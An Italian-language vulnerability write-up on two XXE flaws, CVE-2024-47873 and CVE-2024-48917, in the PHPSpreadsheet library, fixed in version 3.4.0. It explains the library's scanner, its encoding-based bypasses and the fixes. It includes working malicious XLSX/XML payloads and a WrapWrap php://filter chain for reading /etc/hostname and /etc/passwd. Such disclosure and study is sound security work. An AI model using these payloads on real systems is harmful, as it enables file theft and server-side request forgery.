Indice
ToggleIntroduzione
Durante l'esecuzione di un penetration test capita di analizzare applicazioni web basate su prodotti di terze parti o sviluppate da zero, ma in entrambi i casi sicuramente si farà uso di librerie esterne. Questa pratica tendenzialmente migliora sia la qualità del codice che la sua sicurezza, ma permette anche a noi penetration tester di svolgere analisi approfondite sul codice sorgente del componente per scovare nuove vulnerabilità e ottenere accesso all'applicazione.
È quello che è successo ad Antonio Rocco Spataro e Antonio Russo durante un penetration test per conto di Unlock Security su un'applicazione che fa uso della libreria PHPSpreadsheet, la principale libreria PHP open-source ad occuparsi di lettura e scrittura di fogli di calcolo in vari formati come Excel e LibreOffice Calc, che ad oggi conta più di 218 milioni di installazioni e più di 1.200 progetti che la usano come dipendenza.
In questo articolo andremo a ripercorrere passo dopo passo come è stato possibile scovare due vulnerabilità 0day per realizzare un attacco XXE bypassando sia le protezioni già presenti nella libreria, sia le successive fix degli sviluppatori.
Setup dell'ambiente di test
Come spesso accade in questi casi, sia per tutelare l'applicazione del cliente che per semplificare le analisi, viene creato un ambiente di test ad-hoc per condurre i test.
Per permettere a chiunque di poter studiare questa vulnerabilità abbiamo deciso di pubblicare un ambiente di test pronto all'uso utilizzando i devcontainer da utilizzare con VS Code. La struttura del progetto è la seguente:
.
├── composer.json
├── .devcontainer
│ ├── devcontainer.json
│ └── Dockerfile
├── index.php
├── payload.xlsx
└── .vscode
└── launch.json
Il file composer.json
contiene il nome e la versione delle librerie da includere nel progetto, in questo caso solamente PHPSpreadsheet in una qualunque versione vulnerabile precedente alla 3.4.0, noi abbiamo scelto la 3.3.0:
{
"require": {
"phpoffice/phpspreadsheet": "3.3.0"
}
}
Il file .devcontainer/Dockerfile
crea un ambiente di test con tutte le dipendenze necessarie al corretto funzionamento della libreria per i nostri scopi:
FROM mcr.microsoft.com/devcontainers/php:8-bullseye
# Install system dependencies
RUN export DEBIAN_FRONTEND=noninteractive && \
apt-get update && \
apt-get -y install --no-install-recommends \
libpng-dev \
libxml2-dev \
libzip-dev
# Install PHP extensions
RUN docker-php-ext-install gd xml zip
Nel file .devcontainer/devcontainer.json
sono specificate le istruzioni per utilizzare il Dockerfile
, per inizializzare il progetto e installare su VS Code tutte le estensioni necessarie per analizzare il codice PHP con semplicità:
{
"name": "Pentesting PHPSpreadsheet",
"context": ".",
"dockerFile": "Dockerfile",
"customizations": {
"vscode": {
"extensions": [
"xdebug.php-debug"
]
}
},
"portsAttributes": {
"9000": {
"label": "PHP XDebug",
"onAutoForward": "ignore"
}
},
"postCreateCommand": "composer install"
}
A questo punto non rimane che creare un piccolo snippet di codice PHP che utilizzi PHPSpreadsheet per aprire il nostro payload in formato XLSX e stampare il contenuto delle celle del foglio di calcolo attivo:
<?php
require 'vendor/autoload.php';
use \PhpOffice\PhpSpreadsheet\Spreadsheet;
use \PhpOffice\PhpSpreadsheet\IOFactory;
$spreadsheet = new Spreadsheet();
$inputFileType = 'Xlsx';
$inputFileName = 'payload.xlsx';
$reader = IOFactory::createReader($inputFileType);
$spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet();
print_r($worksheet->toArray());
A questo punto, installata l'estensione Dev Containers su VS Code siamo pronti per avviare il nostro ambiente di test e iniziare l'analisi delle vulnerabilità, ma non prima di aver spiegato brevemente il funzionamento del formato XLSX.
Il formato XLSX
I file XLSX rappresentano uno standard ampiamente utilizzato per la gestione dei fogli di calcolo. Un file XLSX è in realtà un archivio ZIP che contiene numerosi file XML strutturati secondo le specifiche dell'Office Open XML (OOXML).
Per comprendere meglio la struttura e i file principali che saranno coinvolti nella fase di exploitation della vulnerabilità creiamo un file XLSX di esempio:
Salvato il file possiamo utilizzare l'utility unzip
per vedere la struttura dei file contenuti:
$ unzip -l sample-file.xlsx
Archive: sample-file.xlsx
Length Date Time Name
--------- ---------- ----- ----
681 2025-03-02 12:32 xl/_rels/workbook.xml.rels
878 2025-03-02 12:32 xl/workbook.xml
2257 2025-03-02 12:32 xl/theme/theme1.xml
4451 2025-03-02 12:32 xl/styles.xml
2247 2025-03-02 12:32 xl/worksheets/sheet1.xml
212 2025-03-02 12:32 xl/sharedStrings.xml
571 2025-03-02 12:32 _rels/.rels
731 2025-03-02 12:32 docProps/core.xml
412 2025-03-02 12:32 docProps/app.xml
1480 2025-03-02 12:32 [Content_Types].xml
--------- -------
13920 10 files
All'interno di questo archivio troviamo documenti come workbook.xml
che definisce la struttura generale del file e contiene i riferimenti ai fogli di calcolo:
<!-- xl/workbook.xml -->
...
<sheets>
<sheet name="FirstSheet" sheetId="1" state="visible" r:id="rId2"/>
</sheets>
...
Il file sharedStrings.xml
svolge un ruolo cruciale nella gestione delle stringhe di testo usate nelle celle. Invece di salvare il testo direttamente in ogni cella, tutte le stringhe uniche vengono salvate in questo file per essere riutilizzate più volte così da ridurre la ridondanza e ottimizzare lo spazio.
Nel file sharedStrings.xml
l'elemento radice è <sst>
(shared string table), che racchiude tutti gli elementi <si>
(shared string item). Ogni <si>
contiene il testo, solitamente in un elemento <t>
(text), oppure una struttura più complessa denominata <r>
(RichTextRun) per gestire testo formattato:
<!-- xl/sharedStrings.xml -->
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
<si>
<t xml:space="preserve">this is a string</t>
</si>
</sst>
Il file sheet1.xml
contiene i dati effettivi delle celle nel primo foglio. Le celle che contengono testo usano l'attributo t="s"
per indicare che il loro contenuto è un riferimento alla shared string table. All'interno della cella, l'elemento <v>
contiene un indice numerico che punta alla posizione della stringa all'interno di sharedStrings.xml
.
<!-- xl/worksheets/sheet1.xml -->
...
<sheetData>
<row r="1" customFormat="false" ht="12.8" hidden="false" customHeight="false" outlineLevel="0" collapsed="false">
<c r="A1" s="0" t="s">
<v>0</v>
</c>
</row>
</sheetData>
...
Ogni file XML, quindi, ha un ruolo preciso nel definire l’aspetto, i dati e la formattazione del documento.
PHPSpreadsheet e le vulnerabilità XXE
Considerato l'uso estensivo di file XML verrebbe subito da pensare di utilizzare un semplice payload XXE per leggere file del sistema o per fare chiamate HTTP. Un modo di fare questo potrebbe essere scompattare il file XLSX, modificare uno dei file XML inserendo il payload malevolo, ricreare l'archivio zip con estensione XLSX e aprirlo con PHPSpreadsheet.
Facciamo un tentativo modificando il file sharedStrings.xml
come segue:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE sst [
<!ENTITY % ext SYSTEM "http://127.0.0.1:1337/we_got_xxe">
%ext;
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
<si>
<t xml:space="preserve">&xxe;</t>
</si>
</sst>
In questo caso ci aspettiamo che un parser vulnerabile a XXE legga il file sharedStrings.xml
e vada a fare una richiesta HTTP all'indirizzo specificato per caricare un file DTD esterno. Avviamo lo snippet di codice nell'ambiente di test per vedere il risultato:
Fatal error: Uncaught PhpOffice\PhpSpreadsheet\Reader\Exception: Detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks in /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Security/XmlScanner.php:82
Stack trace:
#0 /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx.php(123): PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner->scan('<?xml version="...')
#1 /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx.php(700): PhpOffice\PhpSpreadsheet\Reader\Xlsx->loadZip('xl/sharedString...', 'http://schemas....')
#2 /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/BaseReader.php(194): PhpOffice\PhpSpreadsheet\Reader\Xlsx->loadSpreadsheetFromFile('./assets/sample...')
#3 /workspaces/phpspreadsheet/index.php(13): PhpOffice\PhpSpreadsheet\Reader\BaseReader->load('./assets/sample...')
#4 {main}
thrown in /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Security/XmlScanner.php on line 82
PHPSpreadsheet individua il tentativo di XXE e lo blocca correttamente, ma come avviene il controllo?
I controlli di sicurezza di PHPSpreadsheet
Come ci suggerisce lo stacktrace precedente, i controlli di sicurezza di PHPSpreadsheet sono implementati nella classe PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner
, in particolare nel metodo scan($xml)
che si presenta così:
public function scan($xml): string
{
$xml = "$xml";
$xml = $this->toUtf8($xml);
// Don't rely purely on libxml_disable_entity_loader()
$pattern = '/\\0?' . implode('\\0?', str_split($this->pattern)) . '\\0?/';
if (preg_match($pattern, $xml)) {
throw new Reader\Exception('Detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
}
// …
}
Il controllo quindi avviene cercando nel file XML un'occorrenza della stringa <!DOCTYPE
eventualmente intervallata da byte nulli (\0<\0!\0D\0O\0C\0T\0Y\0P\0E\0
) per gestire anche il caso in cui si utilizzi una codifica come UTF-16
(comune in Windows).
<!ENTITY
, i nostri test hanno dimostrato che il controllo avviene sulle occorrenze di <!DOCTYPE
. Questo probabilmente è dovuto al fatto che è possibile sfruttare una XXE anche utilizzando solamente il DOCTYPE.Prima di fare questo il file viene convertito in UTF-8 dal metodo toUtf8($xml)
il cui codice è il seguente:
private function toUtf8(string $xml): string
{
$charset = $this->findCharSet($xml);
if ($charset !== 'UTF-8') {
$xml = self::forceString(mb_convert_encoding($xml, 'UTF-8', $charset));
$charset = $this->findCharSet($xml);
if ($charset !== 'UTF-8') {
throw new Reader\Exception('Suspicious Double-encoded XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
}
}
return $xml;
}
Per individuare la codifica in uso viene utilizzato il metodo findCharSet($xml)
che cerca occorrenze della stringa encoding="<codifica>"
gestendo eventuali spazi e l'uso di apici singoli o doppi. Se viene trovata la dichiarazione di una codifica viene restituita, altrimenti a default viene restituito il valore UTF-8
.
private function findCharSet(string $xml): string
{
$patterns = [
'/encoding\\s*=\\s*"([^"]*]?)"/',
"/encoding\\s*=\\s*'([^']*?)'/",
];
foreach ($patterns as $pattern) {
if (preg_match($pattern, $xml, $matches)) {
return strtoupper($matches[1]);
}
}
return 'UTF-8';
}
CVE-2024-47873
I controlli di sicurezza di PHPSpreadsheet visti sopra sembrano a prima vista tanto semplici quanto efficaci, ma lo sono davvero? In quale condizione è possibile passare tutti i controlli pur inserendo un payload XXE?
La risposta viene dalla specifica del formato XML, in particolare la sezione "Autodetection of Character Encodings (Non-Normative)" che dice che poiché ogni entity XML deve cominciare con la dichiarazione della codifica in uso e che i primi caratteri devono quindi sempre essere <?xml
, allora ogni parser è in grado, leggendo dai 2 ai 4 caratteri, di capire quale codifica è in uso seguendo la tabella seguente:
00 00 00 3C
,3C 00 00 00
,00 00 3C 00
,00 3C 00 00
corrisponde a UCS-4 o una qualsiasi altra codifica a 32 bit in cui i caratteri ASCII sono codificati come valori ASCII.00 3C 00 3F
corrisponde a UTF-16BE, ISO-10646-UCS-2 (big endian) o altre codifiche a 16 bit in big endian in cui i caratteri ASCII sono codificati come valori ASCII.3C 00 3F 00
corrisponde a UTF-16LE, ISO-10646-UCS-2 (little endian) o altre codifiche a 16 bit in little endian in cui i caratteri ASCII sono codificati come valori ASCII.3C 3F 78 6D
corrisponde a UTF-8, ISO 646, ASCII, ISO 8859 (parzialmente), Shift-JIS, EUC o altre codifiche a 7 o 8 bit oppure codifiche a lunghezza variabile in cui i caratteri ASCII mantengono la loro posizione, lunghezza e valori.4C 6F A7 94
corrisponde alla codifica EBCDIC
Dato che la funzione scan($xml)
rileva un tentativo di XXE solo nei casi in cui sia presente la stringa <!DOCTYPE
oppure la stringa \0<\0!\0D\0O\0C\0T\0Y\0P\0E\0
, allora possiamo utilizzare una codifica a 32 bit che inserisca più di un byte nullo prima di ogni carattere. In questo modo la stringa risultante sarà ad esempio \0\0\0<\0\0\0!\0\0\0D\0\0\0O\0\0\0C\0\0\0T\0\0\0Y\0\0\0P\0\0\0E\0\0\0
(3 byte nulli che precedono ogni carattere ASCII). A questo scopo possiamo usare ad esempio la codifica UTF-32BE
o UTF-32LE
.
A questo punto alcuni di voi potrebbero obiettare che il nostro payload prima di essere controllato viene convertito in UTF-8, di fatto invalidando il ragionamento appena fatto eliminando i byte nulli.
Diamo un'occhiata di nuovo all'implementazione ai metodi toUtf8($xml)
e findCharSet($xml)
:
private function toUtf8(string $xml): string
{
$charset = $this->findCharSet($xml);
if ($charset !== 'UTF-8') {
$xml = self::forceString(mb_convert_encoding($xml, 'UTF-8', $charset));
$charset = $this->findCharSet($xml);
if ($charset !== 'UTF-8') {
throw new Reader\Exception('Suspicious Double-encoded XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
}
}
return $xml;
}
private function findCharSet(string $xml): string
{
$patterns = [
'/encoding\\s*=\\s*"([^"]*]?)"/',
"/encoding\\s*=\\s*'([^']*?)'/",
];
foreach ($patterns as $pattern) {
if (preg_match($pattern, $xml, $matches)) {
return strtoupper($matches[1]);
}
}
return 'UTF-8';
}
Osservando meglio notiamo che la conversione in UTF-8 viene fatta solamente quando viene dichiarato un encoding diverso da UTF-8, ma l'encoding in uso viene rilevato con delle espressioni regolari che non tengono in considerazione possibili byte nulli; e se nessuna delle espressioni regolari rileva la codifica, allora a default viene restituito "UTF-8". Quindi dato che nel nostro payload anche la dichiarazione dell'encoding è in UTF-32BE, non sarà rilevata e non avverrà alcuna conversione.
Nonostante non avvenga nessuna conversione del nostro payload XML, il fatto che possa comunque funzionare deriva dal fatto che libxml2 che è la libreria su cui si basa PHPSpreadsheet per il parsing, segue lo standard e riesce a rilevare la corretta codifica leggendo i primi 4 byte del payload.
Detto questo, creiamo il nostro payload in UTF-32BE. A questo scopo utilizziamo CyberChef, un tool online che permette tra le altre cose di fare conversioni tra codifiche:
Copiamo quindi il payload nella finestra degli input, selezioniamo la codifica in UTF-32BE
e salviamo il file risultante sovrascrivendo il file sharedStrings.xml
. Ricreiamo l'archivio zip con estensione XLSX ed eseguiamo la PoC ricordandoci di mettere in ascolto un server HTTP sulla porta 1337, ad esempio con php -S 127.0.0.1:1337
:
La fix per correggere il problema
La prima fix proposta dagli sviluppatori di PHPSpreadsheet è stata quella di modificare l'espressione regolare responsabile di individuare il doctype con una versione che considerasse la presenza di più byte nulli invece che di uno solo, quindi passare da questo:
$pattern = '/\\0?' . implode('\\0?', str_split($this->pattern)) . '\\0?/'
a questo:
$pattern = '/\0*' . implode('\0*', mb_str_split($this->pattern, 1, 'UTF-8')) . '\0*/'
Il bypass della fix
I più attenti sicuramente ricorderanno che tra le codifiche accettate e automaticamente individuate c'è anche la EBCDIC-INT che non utilizza byte nulli, eludendo di nuovo i controlli.
La soluzione a questo è stata quella di limitare l'uso della codifica EBCDIC nel metodo findCharSet($xml)
:
private function findCharSet(string $xml): string
{
if (substr($xml, 0, 4) === "\x4c\x6f\xa7\x94") {
throw new Reader\Exception('EBCDIC encoding not permitted');
// …
}
CVE-2024-48917
Dopo il rilascio della nuova versione di PHPSpreadsheet che risolveva il problema descritto finora, Antonio Rocco Spataro e Antonio Russo hanno continuato l'analisi della libreria dopo aver notato un altro possibile metodo per ottenere nuovamente XXE.
Torniamo sul metodo findCharSet($xml)
visto prima:
private function findCharSet(string $xml): string
{
$patterns = [
'/encoding\\s*=\\s*"([^"]*]?)"/',
"/encoding\\s*=\\s*'([^']*?)'/",
];
foreach ($patterns as $pattern) {
if (preg_match($pattern, $xml, $matches)) {
return strtoupper($matches[1]);
}
}
return 'UTF-8';
}
Le due espressioni regolari vengono utilizzate in un ciclo che termina non appena viene trovata un'occorrenza nel file XML della stringa encoding="<codifica>"
(con i doppi apici) oppure della stringa encoding='<codifica>'
(con l'apice singolo).
Se però il file XML contiene una corrispondenza per entrambe le espressioni regolari, allora la funzione restituisce sempre il valore scritto con i doppi apici, cioè la prima espressione regolare che viene controllata.
Quindi nel caso si scriva ad esempio <?xml version="1" encoding='A' encoding="B">
, l'encoding risultante sarebbe "B" e lo stesso avverrebbe se il file fosse del tipo:
<?xml version="1" encoding='A'>
<root>
<aTag attribute="value">text</aTag>
<!--encoding="B"-->
</root>
Ma in che modo questo ci è utile? Abbiamo già visto nella CVE precedente che se il metodo scan($xml)
riceve un XML in una codifica differente da UTF-8 o UTF-16 non è in grado di riconoscere la presenza di <!DOCTYPE>
, mentre lo è libreria libxml2.
Quindi abbiamo una nuova vulnerabilità XXE se riusciamo a creare un payload con una codifica tale che venga riconosciuto da PHPSpreadsheet come UTF-8 (quindi non convertito né bloccato), ma letto correttamente da libxml2.
Abbiamo visto prima che tra le codifiche che ogni parser XML deve essere in grado di riconoscere ci sono tutte quelle a 7 bit come UTF-7. Queste codifiche vengono riconosciute se l'inizio del file XML è 3C 3F 78 6D
(cioè la stringa <?xml
), ma dato che più codifiche iniziano con questa sequenza, è importante che l'attributo encoding='UTF-7'
sia presente per indicare a libxml2 in che modo leggere il resto del file.
La caratteristica peculiare di UTF-7, però, è che per l'encoding utilizza caratteri ASCII e questo permette di mischiare porzioni di testo valide come UTF-8 e porzioni codificate in UTF-7. Questo ci permette di poter modificare tramite encoding anche un solo carattere, ad esempio potremmo codificare il carattere <
in +ADw-!DOCTYPE
e non è più riconoscibile da PHPSpreadsheet.
Il payload risultante è quindi:
<?xml version = "1.0" encoding='UTF-7'?>
+ADw-!DOCTYPE sst [
<!ENTITY % ext SYSTEM "http://127.0.0.1:1337/we_got_xxe">
%ext;
]>
<si>
<t xml:space="preserve">this is a string</t>
</si>
In questo caso, però, la presenza necessaria di encoding='UTF-7'
permette a PHPSpreadsheet di individuare l'encoding in uso e convertire il file XML in UTF-8 riuscendo così a riconoscere il payload malevolo. Per bypassare questo problema potremmo aggiungere alla fine del file XML il commento <!--encoding="UTF-8"-->
.
Nei file XML gli attributi devono essere unici, perciò non è possibile definire <?xml version="1.0" encoding='UTF-7' encoding="UTF-8"?>
e non è possibile usare attributi non validi nel prologo, come ad esempio <?xml version="1.0" encoding='UTF-7' exampleencoding="UTF-8"?>
:
$ xmllint file.xml
file.xml:1: parser error : parsing XML declaration: '?>' expected
<?xml version="1.0" exampleencoding='UTF-8'?>
Il payload finale sarà quindi:
<?xml version = "1.0" encoding='UTF-7'?>
+ADw-!DOCTYPE sst [
<!ENTITY % ext SYSTEM "http://127.0.0.1:1337/we_got_xxe">
%ext;
]>
<si>
<t xml:space="preserve">this is a string</t>
</si>
<!--encoding="UTF-8"-->
Inseriamo di nuovo il payload in un file XLSX, lo eseguiamo e verifichiamo il risultato:
Il check effettivamente viene bypassato e si ottiene poco dopo la richiesta HTTP all'indirizzo http://127.0.0.1:1337/we_got_xxe
.
Da blind SSRF ad arbitrary file read
Finora abbiamo dimostrato come è possibile ottenere blind SSRF tramite XXE. Si potrebbe pensare che basti cambiare il payload XXE per poter leggere ed esfiltrare dati, ad esempio qualcosa come:
<!DOCTYPE sst [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
<si>
<t xml:space="preserve">&xxe;</t>
</si>
</sst>
Purtroppo nella configurazione di default di libxml non è abilitata l'opzione LIBXML_NOENT che permette la sostituzione delle entity in un file XML. È importante notare però che questa opzione agisce solamente per le entity esterne, mentre non ha effetto per le sostituzioni con entity interne al file XML. Questo significa che se usassimo un payload come il seguente, la sostituzione avrebbe effetto e nella prima cella del file XLSX troveremmo la stringa "a sample string":
<!DOCTYPE sst [
<!ENTITY xxe "a sample string">
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
<si>
<t xml:space="preserve">&xxe;</t>
</si>
</sst>
Ma come è possibile sfruttare questo comportamento per ottenere il contenuto di un file? Supponiamo di partire da questo payload:
<!DOCTYPE sst [
<!ENTITY % hostname SYSTEM "file:///etc/hostname">
%hostname;
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
<si>
<t xml:space="preserve">&xxe;</t>
</si>
</sst>
Questo payload inserisce dentro la variabile hostname
(quindi nel file XML dove compare %hostname;
) il contenuto del file /etc/hostname
e poi cerca una entity xxe
per fare la sostituzione successiva.
Ora, se per assurdo il nostro hostname fosse <!ENTITY xxe "a very unusual hostname">
, allora verrebbe inserita nel file XML una nuova entity di nome xxe
e la sostituzione avrebbe effetto scrivendo la stringa "a very unusual hostname" nelle stringhe del file sharedStrings.xml
.
La domanda quindi è: esiste un modo di leggere il contenuto di un file forzando l'aggiunta di un prefisso e un suffisso?
La risposta è sì e si chiama WrapWrap, un tool realizzato da Ambionics che crea una catena di gadget di php://filter
proprio con lo scopo di aggiungere un prefisso e un suffisso arbitrari al contenuto di un file.
Il tool utilizza una serie di conversioni tra encoding differenti per stampare caratteri arbitrari, ad esempio:
conversions = {
b"0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
b"1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
b"2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
b"3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
b"4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
b"5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
b"6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
b"7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
b"8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
b"9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
b"A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
b"a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
b"B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
b"b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
b"C": "convert.iconv.UTF8.CSISO2022KR",
b"c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
b"D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
b"d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
# …
}
Il tool prende in input il path al file da leggere, il prefisso e il suffisso da aggiungere e il numero di byte del file da leggere:
python wrapwrap.py --help
usage: wrapwrap.py [-h] [-o OUTPUT] [-p PADDING_CHARACTER] [-f] path prefix suffix nb_bytes
Generates a php://filter wrapper that adds a prefix and a suffix to the contents of a file.
Example:
$ ./wrapwrap.py /etc/passwd '<root><test>' '</test></root>' 100
[*] Dumping 108 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=88781).
$ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'
<root><test>root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/</test></root>
positional arguments:
path Path to the file
prefix A string to write before the contents of the file
suffix A string to write after the contents of the file
nb_bytes Number of bytes to dump. It will be aligned with 9
options:
-h, --help show this help message and exit
-o, --output OUTPUT File to write the payload to. Defaults to chain.txt
-p, --padding-character PADDING_CHARACTER
Character to pad the prefix and suffix. Defaults to `M`.
-f, --from-file If set, prefix and suffix indicate files to load their value from, instead of the value itself
Nel nostro caso, quindi, possiamo digitare:
python wrapwrap.py /etc/hostname "<\!ENTITY xxe '" "'>" 54
[*] Dumping 54 bytes from /etc/hostname.
[+] Wrote filter chain to chain.txt (size=49312).
L'output del comando è qualcosa del tipo:
php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|
…
convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|dechunk|convert.base64-decode|convert.base64-decode/resource=/etc/hostname
|
, quindi è necessario sostituire tutte le occorrenze di |
con /
Il payload finale per esfiltrare il file /etc/hostname
sarà quindi:
<?xml version="1.0" encoding='UTF-7'?>
+ADw-!DOCTYPE sst [
<!ENTITY % hostname SYSTEM "PHP_FILTER_URL_GENERATED_BY_WRAPWRAP" >
%hostname;
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
<si>
<t xml:space="preserve">&xxe;</t>
</si>
</sst>
<!--encoding="UTF-8"-->
Lo stesso si può fare per altri file come /etc/passwd
semplicemente sostituendo il nome del file all'interno della catena di filtri PHP:
Conclusioni
Il team di PHPSpreadsheet ha risposto prontamente alle segnalazioni di Antonio Rocco Spataro e Antonio Russo, invitandoli a collaborare per risolvere il problema. A partire dalla versione 3.4.0 la libreria risolve le problematiche segnalate re-implementando completamente i metodi vulnerabili.